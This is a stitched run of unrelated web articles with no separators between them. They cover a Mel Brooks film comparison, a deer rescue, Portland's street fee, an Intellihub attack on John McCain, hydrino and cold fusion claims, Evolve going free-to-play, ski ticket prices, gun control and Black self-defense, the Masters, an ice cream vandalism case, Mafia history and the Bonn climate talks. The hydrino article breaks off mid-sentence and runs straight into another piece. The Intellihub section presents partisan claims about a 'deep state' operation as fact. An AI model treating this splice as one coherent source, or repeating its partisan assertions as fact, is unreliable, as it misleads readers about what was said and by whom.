*GeForce GTX 680The recent release of the Oscar-winning Best Picture The Artist on DVD/Blu-Ray and this week’s screening of Silent Movie at the Museum of Jewish Heritage’s Mel Brooks retrospective, “The Spoof is in the Pudding,” has led me to the following conclusion: Mel Funn was the original George Valentin. Like Best Actor winner Jean Dujardin’s titular auteur, Brooks’ chapeau-loving filmmaker in the 1976 slap-shtick farce is a washed-up booze-swiller who believes silent cinema will never go out of style. And while Funn convinces Big Pictures’ studio chief (Sid Caesar) to finance the first soundless flick in 40 years, Best Director winner Michel Hazanavicius persuaded big shot Harvey Weinstein to finance the first soundless flick since…well, Silent Movie.
The similarities don’t stop there: Both The Artist and Silent Movie feature only one line of spoken dialogue, uttered by a Frenchman; in Brooks’ case, it’s delivered by Marcel Marceau, whose screamingly funny scene might change your mind about mimes. Valentin and Funn are each redeemed by the love of a devastatingly sexy starlet, played by Bérénice Bejo and Bernadette Peters, respectively. (And if, like me, you’re a devotee of Ms. Peters’ cleavage, you really should take a gander at Silent Movie—she should’ve been nominated for Breast Supporting Actress.) The only thing The Artist‘s got that Silent Movie doesn’t is an adorable dog, although Brooks does pull off a howlingly hilarious knee-slapper involving a merry-go-round horse.
Not all of Silent Movie‘s jokes have aged so well; there’s a running gag featuring the word “fags” that doesn’t seem gay anymore. But the cameos by Burt Reynolds and Liza Minnelli (who’d just costarred along with Brooks’ Young Frankenstein alum Gene Hackman in the cursed 1975 turkey Lucky Lady) as well as James Caan, Paul Newman and Mrs. Mel Brooks, Anne Bancroft, are still fun. And there’s a sequence in which cock-eyed optimists Marty Feldman and Charlie Callas (as a blind man!) meet that brings new meaning to sight gag. Plus, there’s a throwaway bit involving old people dancing with walkers that prefigures one of the big numbers in the musical version of The Producers. Never let it be said Brooks doesn’t believe in recycling.
And although the score—composed by longtime Brooks crony John Morris and conducted by Hollywood legend Lionel Newman (Randy’s uncle)—contributes greatly to Silent Movie‘s comic success, I’d be willing to bet this will be one of the Brooks films, unlike The Producers and Young Frankenstein (and, soon, Blazing Saddles), that won’t be turned into a Broadway tuner. Then again, if the upcoming Chaplin: The Musical is a hit, anything goes…
Who’s your favorite silent moviemaker—Mel Brooks or Michel Hazanivicius? Or maybe Buster Keaton? Speak up!
AdvertisementsDeer rescued 1.5 Miles offshore by fisherman (pictures)
What is that?
Can it really!!!
It ‘s a DEER!!!
Not too much of a struggle?
He was very glad to be on board.
He was sooo tired and was glad to get into our boat and rest!
The story from 2007:
Last Saturday morning, my buddy Bo Warren and I were trolling for [striped bass] in the Chesapeake Bay. We were 1½ miles offshore in about 80 feet of water contemplating why the fish weren’t biting. We looked back to check our gear and saw something odd in the water.
Was it a seal? Can’t be, we don’t have seals around here.
On closer look, it turned out to be a buck deer that was way off course. He was desperate and barely staying afloat. I’ve seen deer swim a river or bayou before. When you see that, the first thing you notice is that they are powerful swimmers. Their heads and shoulders are out of the water and they make surprisingly good headway.
This critter was just keeping his nose up and looked like he’d been swimming all night long. In fact, he was so worn out that he swam toward the boat, probably thinking it looked enough like land to him. When he got closer though, he wasn’t sure what to make of the two dudes on board, and backed off.
So, since the fish weren’t biting, we thought we’d give this buck a hand. It turns out Bo grew up around cows and was really handy with a bowline. He lassoed the deer on the first try! Bo grabbed his neck, I grabbed the flank, and we barreled over backwards into the boat. Before I knew it, Bo was on top of him and had him tied up just like a calf.
We hit the throttle and shuttled him to the closest beach – Kent Point. I beached the boat and we carefully unloaded the deer onto the sand. The whole time we kept thinking he was going to kick the snot out of us. He never did though; he was totally spent. We untied him and jumped back.
Too weak to stand, he just sat there quivering. We even picked him up again and put his feet underneath him, but he still couldn’t walk. Don’t know if he made it or not, but I think his chances were vastly improved. Hopefully he recovered after time. When you’re out and about, ya just never know…
Many thanks to Rebecca of Animaltalk.us, Chad Campbell of Baynet.com, and Snopes.com We’d love to hear what you think of this “deer” story.Portland street fee hearing
PORTLAND, OREGON - June 25, 2014 - A public hearing was held Wednesday night for people to give input to city leaders on the residential street fee proposal. Mayor Charlie Hales (shown here), City Commissioner Steve Novick and Portland Bureau of Transportation director Leah Treat heard testimony. Stephanie Yao Long/The Oregonian
(Stephanie Yao Long)
UPDATE: This post was updated with additional reaction from Hales and Fish.
After several weeks of postponing a vote on a charter amendment measure related to a controversial and yet-to-be adopted street fee Portland Mayor Charlie Hales decided to put his idea "on the shelf" indefinitely.
In an interview with The Oregonian, Hales acknowledged the charter amendment was confusing to residents and business owners considering a street fee hadn't been enacted. "There's more confusion than reassurance," Hales said of the charter amendment, which would've mandated a majority of street fee funds be spent on safety and maintenance work.
Hales and Commissioner Steve Novick first floated the charter amendment proposal in late May, and the ballot measure was first scheduled for a City Council vote on June 4 along with their proposed street fee on residents and businesses. Only voters can amend the city's charter.
The proposed ballot language was tweaked between the first delay on June 4 and the proposal that Hales removed from the City Council agenda on Thursday. Weeks ago, Commissioner Amanda Fritz proposed making the language stronger and requiring 8/10 of revenue go to maintenance and safety. But Hales' staffers said the language in Fritz's proposal was too precise for a charter amendment.
In a press release, Hales said the confusion was "muddying the real message" of addressing the city's crumbling roads.
Thursday's announcement has no bearing on the street fee timeline. Advisory groups will be formed and meet in the coming months to discuss ways to improve the fee, or another funding tool, that would raise up to $50 million annually. City Council is expected to vote on a new plan in November.
In an interview, Commissioner Nick Fish applauded Hales' decision. "I'm pleased the mayor withdrew the charter amendment," he said. "I agree with him that it was confusing. I was planning to vote no because I thought we were putting the cart before the horse."
Hales said Thursday that the city faced a July 2 deadline to pass the charter amendment language and put it before voters in November.
He said the November election was the target, but he admitted to assuming the city would want the charter amendment in place because a street fee would've been adopted by council in June.
But a nearly six hour public hearing on the street fee and hundreds of emails filling City Hall inboxes in late May, Hales and Novick decided to pull the street fee vote itself ahead of a June 4 vote.
When asked if he regretted the handling of the charter amendment process, Hales said he was sorry people were confused. "The only thing I'm sorry about is that people keep looking for my ulterior motives in proposing the charter amendment," he added.
The mayor said the charter amendment was a response, in part, to a city poll conducted earlier this year. In the street maintenance poll, released in April, respondents were more likely to support a street fee if they had assurances the City Council's spending would be restricted.
The document pulled on Thursday provided new definitions for safety and maintenance projects. The new language included crosswalks, safety beacons bicycle lanes, but also projects such as "removing vegetation to improve visibility, enforcement mechanisms such as speed enforcement equipment and driver education."
Now the charter amendment will be tabled until at least November, when the City Council is expected to vote on a street fee or other funding mechanism to pay for road safety and maintenance work. Hales and his staff will continue to refine the language and return in November after a street fee -- or other funding plan -- is approved. "I still believe that people will want that reassurance," Hales said.
He said voters may trust this version of the City Council to spend money from the street fee or another funding mechanism on road work, but other future councils may be a different story. Hales believes once a fee is approved, voters will want assurances written into the city charter. "That demand will erupt when the fee is real rather than something that we're discussing and arguing about," he added.
-- Andrew TheenClaims deep state disinformation on Russian hacking is more important than actual terror attacks
(INTELLIHUB) — Fresh off of attacking President Trump and his supporters at a globalist security conference in Germany, John McCain is at it again, this time revealing what amounts to a declaration of war against both Trump and his tens of millions of supporters in a wide-ranging interview with the liberal New York Magazine.
The interview laughably starts with transparent nonsense by claiming that the infamous neocon “agonizes” over taking on a president who literally stands directly against everything McCain has worked for his entire political career.
McCain goes on to attack Trump and his supporters in a variety of different ways including the admittedly botched roll-out of the travel ban(thanks Priebus), his speech to the CIA, and supposed views on torture. (Keep in mind Trump has put people in power who have publicly stated that they are against the use of torture)
Shockingly, McCain actually claims that the admitted deep state disinformation concerning the election and Russia is actually more serious than terror attacks that killed dozens of Americans.
“The severity of this issue, the gravity of it, is so consequential because if you succeed in corrupting an election, then you’ve destroyed the foundation of democracy,” McCain told the openly anti-Trump New Yorker.
“So I view it with the utmost seriousness. I view it more seriously than a physical attack. I view it more seriously than Orlando, or San Bernardino. As tragic as that was, the far-reaching consequences of an election hack are certainly far in excess of a single terrorist attack.”
The piece goes on to explain that McCain is spearheading a call for an investigation into Trump’s connections to Russia that could result in a special prosecutor being called in by the Justice Department which, regardless of the actual facts behind Trump and the Russians, would be a major issue to the new president.
“While he is meeting with resistance from party leaders so far, McCain plans to use his role as chair of the Armed Services Committee and ex officio member of the Intelligence Committee to push for answers. The Trump administration’s viability rests on the support of a Republican Congress, and what John McCain is doing, carefully but with growing fervor, could shake its foundations,” the article continued.
McCain goes on to ludicrously insinuate that the 100% disinformation dossier on Trump that was pushed by both Buzzfeed and CNN was actually plausible. Remember, McCain was the operative who actually handed the dossier to the head of the FBI after being passed the disinformation by former British ambassador to Moscow Sir Andrew Wood.
“I didn’t know what to make of it,” McCain claimed, “but everyone knows the Russians do use women and sex when people go to Russia. It’s an old KGB honeypot.”
The comments by McCain to a liberal magazine are a direct part of a larger, deep state run operation against an openly anti-globalist president who has already destroyed the TPP, which less than a year ago was thought to be untouchable.
They also amount to a declaration of war against not only the president but his tens of millions of supporters due to the fact that a vast majority of the moves made by Trump so far have been things that he promised throughout the election. These are moves that the American people voted FOR and McCain is now openly working against.
As I recently noted, “There are a startling number of powerful people and organizations openly working against the new president and John McCain is certainly one of them.”
Alex Thomas is a reporter and editor for Intellihub News. He was a founding member of what later became Intellihub.com and an integral part of the team that destroyed the mainstream media blockade on Bilderberg in 2012. You can contact him here.
Featured Image: GAge Skidmore/Flickr
©2017. INTELLIHUB.COM. All Rights Reserved.Howard J. Wilk is a long-term unemployed synthetic organic chemist living in Philadelphia. Like many pharmaceutical researchers, he has suffered through the drug industry’s R&D downsizing in recent years and now is underemployed in a nonscience job. With extra time on his hands, Wilk has been tracking the progress of a New Jersey-based company called Brilliant Light Power (BLP).
The company is one of several that are developing processes that collectively fall into the category of new energy technologies. This movement is largely a reincarnation of cold fusion, the short-lived, quickly dismissed phenomenon from the late 1980s of achieving nuclear fusion in a simple benchtop electrolysis device.
In 1991, BLP’s founder, Randell L. Mills, announced at a press conference in Lancaster, Pa., that he had devised a theory in which the electron in hydrogen could transition from its normal ground energy state to previously unknown lower and more stable states, liberating copious amount of energy in the process. Mills named this curious new type of shrunken hydrogen the hydrino, and he has been at work ever since to develop a commercial device to harness its power and make it available to the world.
Wilk has studied Mills’s theory, read Mills’s papers and patents, and carried out his own calculations on the hydrino. Wilk has gone so far as to attend a demonstration at BLP’s facility in Cranbury, N.J., where he discussed the hydrino with Mills. After all that, Wilk says he still can’t tell if Mills is a titanic genius, is self-delusional, or is something in between.
This story line is a common refrain for the researchers and companies involved. It all got started in 1989, when electrochemists Martin Fleischmann and Stanley Pons made the stunning announcement at a press conference at the University of Utah that they had tamed the power of nuclear fusion in an electrolysis cell.
When the researchers applied a current to the cell, they thought deuterium atoms from heavy water that had penetrated into the palladium cathode were fusing to form helium atoms. The excess energy from the process dissipated as heat. Fleischmann and Pons said this process could not be caused by any known chemical reaction, and the nuclear reaction term “cold fusion” was attached to it.
After months of investigating Fleischmann and Pons’s puzzling observations, however, the scientific community came to a consensus that the effect was inconsistent or nonexistent and that the scientists had made experimental errors. The research was summarily condemned, and cold fusion became a synonym for junk science.
Cold fusion and making hydrinos both hold the holy-grail promise of generating endless amounts of cheap, pollution-free energy. Scientists were frustrated by cold fusion. They wanted to believe it, but their collective wisdom told them it was all wrong. Part of the problem was they had no generally accepted theory to guide them and explain the proposed phenomenon—as physicists like to say, no experiment should be believed until it has been confirmed by theory.
Mills has his own theory, but many scientists don’t believe it and think the hydrino improbable. The research community has stopped short of the public dismissal it gave cold fusion and has tended to just ignore Mills and his work. Mills has reciprocated by trying to stay out from under the shadow of cold fusion.
In the meantime, the field of cold fusion was rebranded as low-energy nuclear reactions, or LENR, and survives. Some scientists continue to try to explain the Fleischmann-Pons effect. Still others have dismissed the notion of fusion but are investigating other possible processes that can explain the anomalous excess heat effects. Like Mills, they’ve been lured in by the potential commercial opportunities. Their primary interest is in generating energy for industrial, household, and transportation needs.
The handful of companies that have emerged in the attempt to get these new energy technologies to market have a business model the same as any technology start-up: Identify a new technology, attempt to patent the idea, raise investor interest and secure funding, build prototypes and have demonstration events, and announce timelines for when working devices might be available for sale. In this new energy world, however, expired promises are the norm: None have made it to the last step of delivering a working device as advertised.
A new theory
Mills grew up on a Pennsylvania farm, earned an undergraduate degree in chemistry from Franklin & Marshall College and a Harvard University medical degree, and studied electrical engineering at Massachusetts Institute of Technology. While a student, he began developing what he calls “The Grand Unified Theory of Classical Physics,” which he says provides a new model of atoms and molecules that shifts away from quantum theory and is based on classical physics.
It’s commonly accepted that hydrogen’s solo electron is whizzing around its nucleus in its most energetically favorable, ground-state atomic orbital—you simply can’t bring hydrogen’s electron closer to its nucleus. But Mills says you can.
Erik Baard, a journalist who has written stories about Mills, once noted how shocking it is to say the model of hydrogen is up for debate: “Telling physicists that they’ve got that wrong is like telling mothers across America that they’ve misunderstood apple pie.”
One of those physicists is Andreas Rathke, a former research fellow at the European Space Agency, who is described on the agency’s website as having “debunked a high number of crackpots.” In 2005, Rathke analyzed Mills’s theory and published a paper in which he concluded it was flawed and incompatible with everything physicists knew (New J. Phys. 2005, DOI: 10.1088/1367-2630/7/1/127).
Currently a researcher at Airbus Defence & Space, Rathke says he hasn’t followed the Mills story since about 2007 because there was no unambiguous sign of excess energy in reported experiments. “And I doubt there have been any experiments published at a later time that pass scientific scrutiny,” Rathke tells C&EN.
“I think there is general agreement that the theory Dr. Mills has put forward as the basis for his claims is inconsistent and not capable of making experimental predictions,” Rathke continues. “Now, one could ask the question, ‘Could he have been lucky and stumbled upon some energy source that experimentally just works by following a wrong theoretical approach?’ ”
In the 1990s, a few researchers, including a team from the National Aeronautics & Space Administration’s Lewis Research Center, did report independently replicating the Mills approach and generating excess heat. The NASA team wrote in a report that the results “fall far short of being compelling” and did not mention anything about hydrinos.
The researchers offered possible electrochemical processes that might explain the heat, including irregularities in the electrochemical cell, possible unknown exothermic chemical reactions, or the recombination of split-apart hydrogen and oxygen atoms of water. These are the same arguments made by scientific critics of the Fleischmann-Pons experiments. However, the NASA team did say that researchers should leave the door open, just in case Mills really was on to something.
Mills is a mile-a-minute talker who can go on forever spilling out technical details. Besides predicting the hydrino, Mills says his theory can perfectly predict the location of every electron in a molecule using his bespoke Millsian molecular modeling software, even in molecules as complex as DNA. With standard quantum theory, scientists struggle to predict the exact behavior of anything much more complex than a hydrogen atom. Mills further says his theory also explains why the universe is expanding at an accelerating rate, something cosmologists have yet to fully wrap their arms around.
Mills also says hydrinos are created from burning hydrogen in stars such as our sun and are evident in the spectral lines of starlight. Hydrogen is recognized as the most abundant element in our universe, but Mills goes further to claim that hydrinos are the missing dark matter in the universe. Those proposals come as a bit of a surprise to astrophysicists: “I have never heard of a hydrino,” says the University of Chicago’s Edward W. (Rocky) Kolb, an expert on the dark universe.
Mills has reported isolating hydrinos and characterizing them using standard spectroscopic methods such as infrared, Raman, and nuclear magnetic resonance. In addition, he says hydrinos can react in the way hydrogen might to form new types of compounds “with amazing properties.” These include conductive materials that Mills says would revolutionize electronic devices and batteries.
Even though popular opinion is against him, Mills’s ideas seem less far-fetched when compared with other unusual components of the universe. For example, a muonium is a known, short-lived exotic entity made of an antimuon particle (a positive, electronlike particle) and an electron. Chemically, muonium behaves like a hydrogen isotope, but it’s nine times as light as hydrogen.
The hydrino SunCell
No matter where hydrinos fit in on the scale of believability, Mills told C&EN a decade ago that BLP had moved past the scientific verification stage and was interested only in discussing commercial applications. Over the years, BLP has collected more than $110 million from investors to see what it can do.
BLP’s approach to creating hydrinos has taken on different manifestations over time. In an early prototype, Mills and his R&D team used tungsten or nickel electrodes with a lithium or potassium electrolyte solution. An applied electric current splits the water into hydrogen and oxygen, and under the right conditions, lithium or potassium then acts as a catalyst to absorb energy and collapse hydrogen’s electron orbit. The energy released in going from the ground atomic state to a lower energy state comes off as a brilliant emission of light in a high-temperature plasma. The associated heat is then captured to create steam to power an electric generator.
BLP is currently testing a device called the SunCell in which hydrogen (from splitting water) and an oxide catalyst are introduced into a spherical carbon reactor along with dual streams of molten silver. An electric current applied to the silver ignites a hydrino-forming plasma reaction. Energy from the reaction is then trapped by the carbon, which acts as a “blackbody radiator.” |
full force and washed away people’s enthusiasm, dragging us further and further from that first magical pick-up-and-play experience.
“We want that magic back and we aim to make it happen.”
Turtle Rock acknowledged the Evolve community’s role in suggesting the shooter go free-to-play – it’s something players have been saying since launch. It asked for their patience and assistance in mantling the transition, starting with trying out the new server infrastructure when the free-to-play beta build goes live tomorrow.
Major beta revisions, updates and features will be doled out over the next few weeks and months, with Turtle Rock communicating each change to the Evolve community.
“We have lived and breathed Evolve for over four years and we feel like we are just getting started,” the developer concluded.
“Since launch we realized Evolve has provided people some of their most exciting gaming moments and we want to make more of those for everyone… well, everyone who is OK with being periodically murdered (brutally) by terrifying alien monsters.”Winter Lift Tickets
4-Packs – Available September 1st through November 15, 2018
Grand Targhee Resort 4-Packs are on sale beginning September 1, 2018. The GTR 4-Pack gives you four great days of skiing or riding and you get to enjoy the convenience of a pass by skipping the ticket window lines and going directly to the lifts. 4-Packs will only be available for purchase through November 15, 2018.
Grand Targhee Resort 4-Packs include (four) non-transferable days of skiing/riding at Grand Targhee Resort during the 2018/19 season – Valid from Season opening to 12/20/2018, 1/3/2019 through season close. Conditions permitting.
4-Packs are NOT VALID 12/21/18 – 1/2/2019
Only one 4-Pack purchase per person
4-Packs will be issued to purchaser at the Activity Center on a photo ID card
4-Packs are non-transferable and non-refundable and valid for only one visit per day
4-Packs do not need to be used consecutively
Shipping Season Pass & 4-Pack Information.
Grand Targhee Resort now offers returning pass holders to have their season pass or 4-Pack pass shipped to a United States postal address for an additional $5.00 per shipment. Adults and Seniors may reuse their pass photo from the previous year. New photos are required for all teen, junior and child season passes. Proof of full-time college enrollment is required prior to a college season pass being shipped. All photos will be approved by the Season Pass Office. The Grand Targhee Resort Winter Waiver must be submitted before a pass may be shipped.
Please allow up to two weeks for passes to be shipped. Photos that do not comply with the requirements, or delays in submitting a season pass waiver will result in postponement of shipping a season pass.
2018/19 Lift Tickets
Lift Ticket Regular Holiday Reg/Holiday Half Day (12:30pm) Adult (ages 13 – 64) $90 $95 $72/$76 Senior (ages 65+) $65 $70 $52/56 Junior (ages 6 – 12) $37 $42 $30/$34 Child (ages 5 & under) FREE FREE FREE Military $45 $45 $45 Shoshone Only $45 $45 $45 Adaptive or Chaperone Adult (13 +) $35 $35 $35 Adaptive Junior (6 – 12) $29 $29 $29Contrary to Congressman John Lewis’ revision of history, “the notion that the Civil Rights movement was exclusively nonviolent is a popular mythology.” In fact, “Some members of Lewis’s Student Nonviolent Coordinating Committee picked up weapons and worked with community people to defend their lives against white terrorists.”
“Gun control for Black activists must be an issue of self-determination, self-reliance and self-defense.”
The recent debate concerning gun control is complex, particularly as it relates to African descendants in the United States. As almost every other issue in the US, the race dimensions of gun control cannot be dismissed. Slave-holding society fought to prevent enslaved Africans access to weapons to resist and increase potential for insurrection. After emancipation, Blacks sought arms not only to hunt, but to protect themselves from white supremacist terror. Gun ownership was associated with citizenship and liberty and as a means to protect those principles. The segregationists continued slave-holding society’s practice of attempting to disarm Blacks. Ultimately, Blacks utilized armed self-defense to protect activist leadership and their communities from white terrorist violence. It was a rite of passage for rural Black families taught children to use arms as a means of survival; for food and for protection. Black female youth were trained to shoot for defense from white rapists.
I have the utmost respect for Congressman John Lewis due to the sacrifice he made during the Civil Rights movement in the Deep South. In responding to those opposing President Obama’s gun control proposal’s Congressman Lewis offers that he and his colleagues in the Civil Rights movement, “… believed the only way to achieve peaceful ends was through peaceful means. We took a stand against an unjust system, and we decided to use this faith as our shield and the power of compassion as our defense.”
“Blacks utilized armed self-defense to protect activist leadership and their communities from white terrorist violence.”
The notion that the Civil Rights movement was exclusively nonviolent is a popular mythology. In dozens of Southern communities Black people picked up arms to defend themselves. In particular, Black people relied on armed self-defense in communities where Federal government officials failed to safeguard Movement activists and supporters from the violence of racists and segregationists, who were often supported by local law enforcement. Congressman Lewis statement is true for a small number of committed activists who engaged in civil disobedience and voter registration in Mississippi, Alabama, and Georgia. These activists were often protected by grassroots Black people armed with shotguns and rifles. Some members of Lewis’s Student Nonviolent Coordinating Committee picked up weapons and worked with community people to defend their lives against white terrorists.
The post-Civil Rights and Black Power era brought a new dimension of this issue for Black communities. A crisis in Black families resulted from welfare policy and increased individualism and the decline of the manufacturing economy that employed significant numbers of Black males. The federal, state, and local “Cointelpro” assault on activist Black leaders, organizations, and institutions weakened solidarity and Black political consciousness in the 1970s. Black communities experienced a growth in gang activity and an influx of drugs in this period. The access to automatic weapons and assault rifles paralleled the crisis in Black communities. Increased access of weapons to the most criminalized and unstable elements of the Black community only accelerated the crisis. Unlike generations of youth who were trained by their elders to protect their families and communities from emancipation through the Civil Rights and Black Powers era, large numbers of Black youth were supplied weapons in the underground economy.
“Black people will never disarm in a political and social environment where Black life is still challenged and not valued.”
As a youth growing up in Compton, California in the early 1970s, I heard a plethora of rumors of elements external to the Black community providing caches of military weapons that contributed to the fratricidal war between the Crips and the Bloods in Compton, Watts, and South Central LA. While this sounds like a wild conspiracy theory, it has been well documented that the FBI and local police agencies utilized “divide and conquer” tactics to incite fratricidal conflict between the Black Panther Party and the Us Organization in the same streets that the Crips and Bloods would inhabit a few years later. The dilemma of the criminal use of guns still poses a challenge in several urban and rural places today. This situation has motivated support for gun control in our communities.
Other politically and socially conscious elements challenge the gun control position based on the history of white supremacy in the US and the desire of racists to disarm Black communities. The growth of white supremacist and right-wing paramilitary formations and militias since the 2008 election of Barack Obama and the fatal shooting of young Trayvon Martin by a white civilian has done nothing to decrease the fear of white violence in the Black community. Several elements of the Black community recant the lyric of the late popular artist Gil Scott Heron, “when other folks give up theirs, I’ll give up mine.”
Gun control for Black activists must be an issue of self-determination, self-reliance and self-defense. Black people will never disarm in a political and social environment wherJohne Black life is still challenged and not valued. The Black community must advocate for policies that take weapons out of the hands of unstable elements (e.g. checks for mental illness), but be vigilant to make sure these policies do are not utilized in a manner to weaken the capacity of our community to defend itself from white supremacists. At the same time, more solidarity and grassroots organization of Black communities is needed to gain control and socialization of unstable elements of our community. Cooperative economic projects to provide alternatives to those trapped in the drug economy. The fight for the decriminalization of drugs and quality and culturally relevant education for our youth is another pillar in the fight to bring community integrity and solidarity and a safer community back.
Akinyele Umoja is an Associate Professor and Chair of the Department of African-American Studies at Georgia State University. He is the author of We Will Shoot Back: Armed Resistance in the Mississippi Freedom Movement (forthcoming by New York University Press, April 2013)Share Five Things: What to Look for on Monday
Here are five things to look for today at the Masters Tournament: 1. Behind the Scenes at Augusta National
A view of the Clubhouse from Magnolia Lane. MillerBrown/Augusta National
Today’s first Practice Round offers patrons the opportunity to see Augusta National and Masters Tournament participants as they prepare for Thursday’s first round. Take a historical look today at the Tournament Practice Facility and Clubhouse on Masters.com. 2. Tiger's Take on Masters Layout
Tiger Woods is helped into the Green Jacket by Phil Mickelson during the 2005 Presentation Ceremony. Dave Cannon/Getty Images
Four-time Masters champion Tiger Woods takes a hole-by-hole look at Augusta National, including highlights from some of his victories. 3. 63 is the Magic Number
Nick Price waits with his caddie during the 1986 Masters Tournament. Augusta National/Getty Images
Thirty years ago, Nick Price’s caddie wore No. 63. In the third round, Price shot a course-record 63, a mark that stands today and is shared by Greg Norman, who matched him in 1996. 4. Locals Make Tournament Field
Kevin Kisner hits from the bunker at the Tournament Practice Facility at Augusta National Golf Club on Saturday, April 2, 2016. Emily Jenkins /Augusta National
Two players with area ties are in this week’s Masters field: Augusta’s Vaughn Taylor and Aiken’s Kevin Kisner. Taylor has played here before, but not since 2008, while Kisner is making his debut. 5. 2007 Champion Once Again Playing His Best
Masters champion Zach Johnson hits his approach on No. 1 during the second round of the 2015 Masters. Hunter Martin/Augusta NationalThe owner of a Cape Cod ice cream parlor authorities say gave money and alcohol to his teenage employees as rewards for vandalizing a competitor has pleaded guilty. The Cape Cod Times reports that David Ariagno, owner of Lazy Sundaes Ice Cream in Bourne, was sentenced this week in Falmouth District Court to two years of probation and ordered to pay nearly $5,000 in restitution after pleading guilty to malicious destruction of property. Police started investigating in 2014 after windows at the nearby Somerset Creamery were broken by rocks several times. Police traced the vandalism to three teens, who said their boss' interest in disrupting a rival was driving their behavior. The teens were charged with malicious destruction of property.
The owner of a Cape Cod ice cream parlor authorities say gave money and alcohol to his teenage employees as rewards for vandalizing a competitor has pleaded guilty.
The Cape Cod Times reports that David Ariagno, owner of Lazy Sundaes Ice Cream in Bourne, was sentenced this week in Falmouth District Court to two years of probation and ordered to pay nearly $5,000 in restitution after pleading guilty to malicious destruction of property.
Police started investigating in 2014 after windows at the nearby Somerset Creamery were broken by rocks several times.
Police traced the vandalism to three teens, who said their boss' interest in disrupting a rival was driving their behavior. The teens were charged with malicious destruction of property.
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AlertMeGiuseppe Esposito was the first known Sicilian Mafia member to emigrate to the U.S. He and six other Sicilians fled to New York after murdering the chancellor and a vice chancellor of a Sicilian province and 11 wealthy landowners. He was arrested in New Orleans in 1881 and extradited to Italy.
New Orleans was also the site of the first major Mafia incident in this country. On October 15, 1890, New Orleans Police Superintendent David Hennessey was murdered execution-style. Hundreds of Sicilians were arrested, and 19 were eventually indicted for the murder. An acquittal generated rumors of widespread bribery and intimidated witnesses. Outraged citizens of New Orleans organized a lynch mob and killed 11 of the 19 defendants. Two were hanged, nine were shot, and the remaining eight escaped.
The American Mafia has evolved over the years as various gangs assumed, and lost, dominance over the years—for example, the Black Hand gangs around 1900, the Five Points Gang in the 1910s and ‘20s in New York City, and Al Capone’s Syndicate in Chicago in the 1920s. It was not until 1951 that a U.S. Senate committee led by Democrat Estes Kefauver of Tennessee determined that a “sinister criminal organization,” later known as La Cosa Nostra, operated in this nation. Six years later, The New York State Police uncovered a meeting of major La Cosa Nostra figures from around the country in the small upstate New York town of Apalachin. Many of the attendees were arrested. The event was the catalyst that changed the way law enforcement battles organized crime.
Early History—Masseria and Maranzano
By the end of the ‘20s, two primary factions had emerged in the Italian criminal groups in New York. Joseph Masseria, who controlled the groups, sparked the so-called “Castellammarese War” in 1928 when he tried to gain control of organized crime across the country. The war ended in 1931 when Salvatore Maranzano conspired with Masseria’s top soldier, Charles “Lucky” Luciano, to have Masseria killed. Maranzano emerged as the most powerful Mafia boss in the nation, setting up five separate criminal groups in New York and calling himself “Boss of Bosses.”
Maranzano was the first leader of the organization now dubbed "La Cosa Nostra." He established its code of conduct, set up the “family” divisions and structure, and enacted procedures for resolving disputes. Two of the most powerful La Cosa Nostra families—known today as the Genovese and Gambino families—emerged from Maranzano’s restructuring efforts. He named Luciano the first boss of what would later be known as the Genovese family. Luciano showed his appreciation less than five months later by sending five men dressed as police officers to Maranzano’s office to murder him.
Luciano, Costello, and Genovese
With Maranzano out of the way, Luciano become the most powerful Mafia boss in America and used his position to run La Cosa Nostra like a major corporation. Luciano set up the “Commission” to rule all La Cosa Nostra activities. The Commission included bosses from seven families and divided the different rackets among the families.
In 1936, Luciano was sentenced to 30 to 50 years in prison for operating a prostitution ring. Ten years later, he was released from prison and deported to Italy, never to return. There, he became a liaison between the Sicilian Mafia and La Cosa Nostra. When he was convicted, Frank Costello became acting boss because underboss Vito Genovese had fled to Italy to avoid a murder charge. Genovese's return to the states was cleared when a key witness against him was poisoned and the charges were dropped.
Costello led the family for approximately 20 years until May of 1957, when Genovese took control by sending soldier Vincent “the Chin” Gigante to murder him. Costello survived the attack but relinquished control of the family to Genovese, who named it after himself. Attempted murder charges against Gigante were dismissed when Costello refused to identify him as the shooter. In 1959, it was Genovese’s turn to go to prison following a conviction of conspiracy to violate narcotics laws. He received a 15-year sentence but continued to run the family through his underlings from his prison cell in Atlanta, Georgia.BONN, Germany — President Donald Trump is taking a beating at the United Nations climate conference here.
Politicians from across the globe mischievously pose for photographs beside a sign at a French pavilion that reads “Make Our Planet Great Again.” Climate activists repeatedly chastise Trump in panel conversations and throughout the convention halls. The leaders of Mexico and Canada formalized an agreement to circumvent the president and work directly with mostly Democratic governors of climate-minded states.
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Yet despite the vitriol and disregard for Trump — and his announced withdrawal from the Paris climate agreement — the diplomats and other officials in Bonn are breathing a sigh of relief. Climate advocates had feared the worst — that the White House would make moves to undercut the pact, a disruptive posture that might do serious damage to the international accord.
Instead, the Trump administration made no notable efforts other than to hold a single public event promoting clean coal, leaving hope here that the Paris agreement would endure.
“They haven’t thrown a bomb yet, have they?” said California Gov. Jerry Brown, who was at the conference promoting state- and regional-level efforts to address climate change. “So that’s good.”
Christiana Figueres, a former United Nations climate envoy who helped orchestrate the Paris agreement’s adoption two years ago, said that in the long-term effort to reduce greenhouse gas emissions, Trump is “going to be a blip” in history.
Morning Energy newsletter The source for energy and environment news — weekday mornings, in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
Several Democratic governors, mayors and lawmakers from the United States were beginning to filter out of the conference Tuesday, after a coordinated push to persuade world leaders that Trump does not represent the United States on climate. Earlier this week, leaders of Canada and Mexico agreed to enter into discussions about clean-energy initiatives with an alliance of 14 states and the island territory of Puerto Rico, which have pledged to meet their share of the U.S. commitment to the Paris accord.
Catherine McKenna, Canada’s environment minister, said at a meeting with Brown and Washington Gov. Jay Inslee that the agreement was a “great example that we’re all in this together.”
Inslee said: “This strategy is working. Not one single country has expressed one single word of doubt or lack of confidence in the Paris agreement just because Donald Trump is still a climate denier.”
The specter of Trump loomed large over the conference, where activists wore “We are still in” buttons, drank from reusable water bottles and traveled between buildings on free, shared bicycles.
Trump has called climate change a hoax, and the White House sparked a protest Monday with its event promoting coal. Protesters yelled that “clean coal is bull----“ and that White House officials are “a bunch of liars.”
Laurence Tubiana, France’s former ambassador for climate change negotiations, said: “The United States is really isolated from the process point of view. … Nobody’s backtracking. And even the discussion, the negotiation is going well — with its normal difficulties — it’s going well.”
While Trump has announced the United States’ withdrawal from the Paris agreement, the exit cannot take effect until 2020. Miguel Arias Cañete, European commissioner for climate action and energy, said he did not yet know how to assess the White House’s position in the talks. But he said he was encouraged by U.S. governors and mayors insisting that they will still move to cut emissions.
